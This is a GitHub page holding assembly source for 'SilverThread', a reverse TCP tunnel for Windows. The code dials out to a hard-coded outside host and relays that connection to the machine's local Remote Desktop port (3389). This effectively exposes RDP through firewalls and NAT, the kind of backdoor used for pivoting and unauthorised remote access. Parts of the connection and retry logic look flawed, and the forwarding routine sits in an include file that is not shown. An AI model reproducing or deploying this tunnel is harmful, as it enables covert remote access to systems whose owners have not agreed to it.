-
Notifications
You must be signed in to change notification settings - Fork 4
/
rtcp.asm
344 lines (283 loc) · 8.47 KB
/
rtcp.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
; SilverThread reverse TCP tunnel by afx237
.586
.model flat, stdcall
option casemap:none
include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\shell32.inc
include c:\masm32\include\user32.inc
include c:\masm32\include\GDI32.inc
include c:\masm32\include\comdlg32.inc
include c:\masm32\include\COMCTL32.inc
include c:\masm32\include\advapi32.inc
include c:\masm32\include\ole32.inc
include c:\masm32\include\wininet.inc
include c:\masm32\include\crtlib.inc
include c:\masm32\include\masm32.inc
include c:\masm32\include\ws2_32.inc
include c:\masm32\include\mpr.inc
includelib c:\masm32\lib\mpr.lib
includelib c:\masm32\lib\ws2_32.lib
includelib c:\masm32\lib\crtlib.lib
includelib c:\masm32\lib\wininet.lib
includelib c:\masm32\lib\ole32.lib
includelib c:\masm32\lib\GDI32.lib
includelib c:\masm32\lib\comdlg32.lib
includelib c:\masm32\lib\COMCTL32.lib
includelib c:\masm32\lib\advapi32.lib
includelib c:\masm32\lib\user32.lib
includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\shell32.lib
includelib c:\masm32\lib\masm32.lib
;Procedures definition
ZeroMemory equ <RtlZeroMemory>
ConnectSocket proto stdcall :dword
FindHostIP proto stdcall :dword
StartTunnel proto stdcall
FillSockAddr proto stdcall :dword, :dword, :dword
FThread proto stdcall :dword
.data
RemoteServer db "192.168.141.1",0
LocalServer db "127.0.0.1",0
RSERVER_PORT equ 10000
LSERVER_PORT equ 3389
TEMP_BUFFER_SIZE equ 128
REQ_WINSOCK_VER equ 2
RemoteThreadID dd 0
LocalThreadID dd 0
thread_struct struct
dword_1 dd 0
dword_2 dd 0
thread_struct ends
ConnParams struct
Socket1 dd 0
Socket2 dd 0
SocketDataPtr dd 0
SocketDataLen dd 0
ConnParams ends
CParamsR ConnParams <>;
CParamsL ConnParams <>;
FCParams1 ConnParams <>;
FCParams2 ConnParams <>;
CSocketR dd 0
CSocketL dd 0
CR equ 0Dh
LF equ 0Ah
;debugging variables
DBG_OUTPUT db 1 ; if 0 - output disabled
g_msgncoming db "Forwarding data!",CR,LF,0
ID1 db "I'm Remote",CR,LF,0
ID2 db "I'm Local",CR,LF,0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
g_msgLookupHost db "Looking up hostname %s... ",0
g_msgFound db "found.",CR,LF,0
g_msgCreateSock db "Creating socket... ",0
g_msgCreated db "created.",CR,LF,0
g_msgConnect db "Attempting to connect to %s:%d... ",0
g_msgConnected db "connected.",CR,LF,0
g_msgSendReq db "Sending request... ",0
g_msgReqSent db "request sent.",CR,LF,0
g_msgDumpData db "Dumping received data...",CR,LF,CR,LF,0
g_msgInitWinsock db "Initializing winsock... ",0
g_msgInitialized db "initialized.",CR,LF,0
g_msgDone db "done.",CR,LF,0
g_msgCleanup db "Cleaning up winsock... ",0
g_errHostName db "could not resolve hostname.",CR,LF,0
g_errCreateSock db "could not create socket.",CR,LF,0
g_errConnect db "could not connect.",CR,LF,0
g_errSend db "failed to send data.",CR,LF,0
g_errRead db "socket error while receiving.",CR,LF,0
g_errStartup db "startup failed!",0
g_errVersion db "required version not supported!",0
g_errCleanup db "cleanup failed!",CR,LF,0
g_errLocalConn db "Server have just closed connection. quiting..",CR,LF,0
.code
;-------------------------------------------------------------------------------
; includes
;-------------------------------------------------------------------------------
include socket_staff.asm
;-------------------------------------------------------------------------------
; startup code
;-------------------------------------------------------------------------------
start:
invoke StartTunnel
invoke ExitProcess, eax
;-------------------------------------------------------------------------------
; <StartTunnel>
;-------------------------------------------------------------------------------
StartTunnel proc
;Iinitializing winsocks
local wsaData:WSADATA
.IF DBG_OUTPUT == 1
invoke printf, addr g_msgInitWinsock
.ENDIF
invoke WSAStartup, REQ_WINSOCK_VER, addr wsaData
;Checking the initialization was ok
mov ecx, offset g_errStartup
test eax, eax
jnz _error
; Checking WinSock version
cmp byte ptr [wsaData.wVersion], REQ_WINSOCK_VER
mov ecx, offset g_errVersion
jb _error_cleanup
;Connecting remote TCP port
_try_rconnect:
invoke ConnectSocket, addr RemoteServer
test eax,eax
jz _try_rconnect
;Connecting local TCP port
_try_lconnect:
invoke ConnectSocket, addr LocalServer
test eax,eax
jz _try_rconnect
;;;;Filling forwarding structures
mov eax,CParamsR.Socket1
mov FCParams1.Socket1,eax
mov eax,CParamsL.Socket1
mov FCParams1.Socket2,eax
mov eax,CParamsL.SocketDataPtr
mov FCParams1.SocketDataPtr,eax
mov eax,CParamsL.Socket1
mov FCParams2.Socket1,eax
mov eax,CParamsR.Socket1
mov FCParams2.Socket2,eax
mov eax,CParamsR.SocketDataLen
mov FCParams2.SocketDataLen,eax
;;;;Startrig Forwarding threads
;;;Remote connection
invoke CreateThread,NULL,NULL,addr FThread ,addr FCParams2,0,addr RemoteThreadID
;;;;
;;;;Local connection
invoke CreateThread,NULL,NULL,addr FThread ,addr FCParams1,0,addr LocalThreadID
;infinite loop
.WHILE TRUE
invoke Sleep, 1
.ENDW
ret
;Debug info output
_cleanup:
.IF DBG_OUTPUT == 1
invoke printf, addr g_msgCleanup
.ENDIF
invoke WSACleanup
test eax, eax
jz _done
.IF DBG_OUTPUT == 1
invoke printf, addr g_errCleanup
.ENDIF
_done:
.IF DBG_OUTPUT == 1
invoke printf, addr g_msgDone
.ENDIF
mov eax, ebx ; return code in ebx
ret
_error_cleanup:
mov ebx, _cleanup
jmp _printError
_error:
mov ebx, _done
_printError:
.IF DBG_OUTPUT == 1
invoke printf, ecx
.ENDIF
mov eax, ebx
mov ebx, 1 ; return 1 (error)
jmp eax
StartTunnel endp
;-------------------------------------------------------------------------------
; <ConnectSocket>
;-------------------------------------------------------------------------------
; Parameters
; pHostname pointer to a string containing the server name or IP address
; Return value
; 0: failed
; 1: succeeded
ConnectSocket proc pServername:dword
local tempBuffer[TEMP_BUFFER_SIZE]:byte, sockAddr:sockaddr_in
;Checking is server remote, or local
mov eax,pServername
lea ecx,RemoteServer
.IF ecx == eax
;remote
push eax
.IF DBG_OUTPUT == 1
invoke printf, addr ID1
.ENDIF
pop eax
invoke FillSockAddr, addr sockAddr, eax, RSERVER_PORT
; Creating socket:
invoke socket, AF_INET, SOCK_STREAM, IPPROTO_TCP
;checking for errors
mov ecx, offset g_errCreateSock
cmp eax, INVALID_SOCKET
je _error
mov esi, eax
.IF DBG_OUTPUT == 1
invoke printf, addr g_msgCreated
.ENDIF
;;;;Filling sonnected sockets structs
mov CParamsR.Socket2, NULL
lea eax,sockAddr
mov CParamsR.SocketDataPtr, eax
mov eax, sizeof sockAddr
mov CParamsR.SocketDataLen, eax
; Attempt to connect:
invoke connect, esi, CParamsR.SocketDataPtr, CParamsR.SocketDataLen
mov CParamsR.Socket1, esi
.ELSE
;local
push eax
.IF DBG_OUTPUT == 1
invoke printf, addr ID2
.ENDIF
pop eax
invoke FillSockAddr, addr sockAddr, eax, LSERVER_PORT
; Creating socket:
invoke socket, AF_INET, SOCK_STREAM, IPPROTO_TCP
;checking for errors
mov ecx, offset g_errCreateSock
cmp eax, INVALID_SOCKET
je _error
mov esi, eax
.IF DBG_OUTPUT == 1
invoke printf, addr g_msgCreated
.ENDIF
;;;;Filling connected sockets structs
mov CParamsL.Socket2, NULL
lea eax,sockAddr
mov CParamsL.SocketDataPtr, eax
mov eax, sizeof sockAddr
mov CParamsL.SocketDataLen, eax
; Attempt to connect:
;invoke connect, esi, addr sockAddr, sizeof sockAddr
invoke connect, esi, CParamsL.SocketDataPtr, CParamsL.SocketDataLen
mov CParamsL.Socket1, esi
;;;;
.ENDIF
;If socket connection was fucked up we are closing it carfully.
mov ecx, offset g_errConnect
test eax, eax
jnz _error
.IF DBG_OUTPUT == 1
invoke printf, offset g_msgConnected
.ENDIF
mov eax,1
ret
_connectionClosed:
mov ebx, 1 ; return code (1 = no error)
_cleanup:
; close socket if it was created:
cmp esi, INVALID_SOCKET
je @F
invoke closesocket, esi
@@:
mov eax, ebx
ret
_error:
.IF DBG_OUTPUT == 1
invoke printf, ecx
.ENDIF
xor ebx, ebx ; return code (0 = error)
jmp _cleanup
ConnectSocket endp
end start